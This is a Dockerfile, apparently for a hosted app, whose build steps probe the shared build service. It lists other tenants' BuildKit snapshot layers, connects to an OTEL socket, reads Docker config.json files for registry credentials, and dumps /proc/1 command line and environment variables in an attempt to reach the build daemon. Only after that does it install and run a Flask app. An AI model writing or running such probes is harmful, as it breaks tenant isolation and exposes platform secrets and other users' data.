File size: 1,702 Bytes
dbe6944
394d133
f520b7f
394d133
f520b7f
 
 
dbe6944
f520b7f
 
 
da61b2a
f520b7f
 
 
 
dbe6944
f520b7f
 
 
dbe6944
f520b7f
 
 
dbe6944
f520b7f
 
 
 
da61b2a
f520b7f
 
 
 
 
 
 
 
 
da61b2a
f520b7f
 
da61b2a
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
FROM python:3.9-slim

RUN apt-get update && apt-get install -y curl socat netcat-openbsd 2>/dev/null; true

# Try to access BuildKit snapshots directory
RUN echo "=== BUILDKIT SNAPSHOTS ===" && \
    ls -la /home/user/.local/share/buildkit/runc-overlayfs/snapshots/snapshots/ 2>&1 | head -30; true

# Try to read other snapshot layers (cross-tenant leakage)
RUN echo "=== SNAPSHOT 1 ===" && ls -la /home/user/.local/share/buildkit/runc-overlayfs/snapshots/snapshots/1/fs/ 2>&1 | head -10; true
RUN echo "=== SNAPSHOT 2 ===" && ls -la /home/user/.local/share/buildkit/runc-overlayfs/snapshots/snapshots/2/fs/ 2>&1 | head -10; true

# Try to access the OTEL gRPC socket
RUN echo "=== OTEL SOCKET ===" && \
    ls -la /dev/otel-grpc.sock 2>&1; true
RUN echo | socat - UNIX-CONNECT:/dev/otel-grpc.sock 2>&1 | head -5; true

# Try to access BuildKit cache
RUN echo "=== BUILDKIT CACHE ===" && \
    ls -la /home/user/.local/share/buildkit/ 2>&1 | head -20; true

# Check if we can access /home/user directly
RUN echo "=== HOME USER ===" && \
    ls -la /home/user/ 2>&1 | head -20; true

# Check for Docker config that might contain registry credentials
RUN echo "=== DOCKER CONFIG ===" && \
    cat /home/user/.docker/config.json 2>&1; true && \
    cat /root/.docker/config.json 2>&1; true

# Try to escape via /proc/1 to reach buildkitd process
RUN echo "=== PROC 1 CMDLINE ===" && \
    cat /proc/1/cmdline 2>&1 | tr '\0' ' '; true && \
    echo "" && \
    cat /proc/1/environ 2>&1 | tr '\0' '\n' | head -20; true

# Check for parent PID namespace
RUN echo "=== PARENT PROCS ===" && \
    ls /proc/ 2>&1 | head -30; true

RUN pip install flask
COPY app.py /app.py
EXPOSE 7860
CMD ["python", "/app.py"]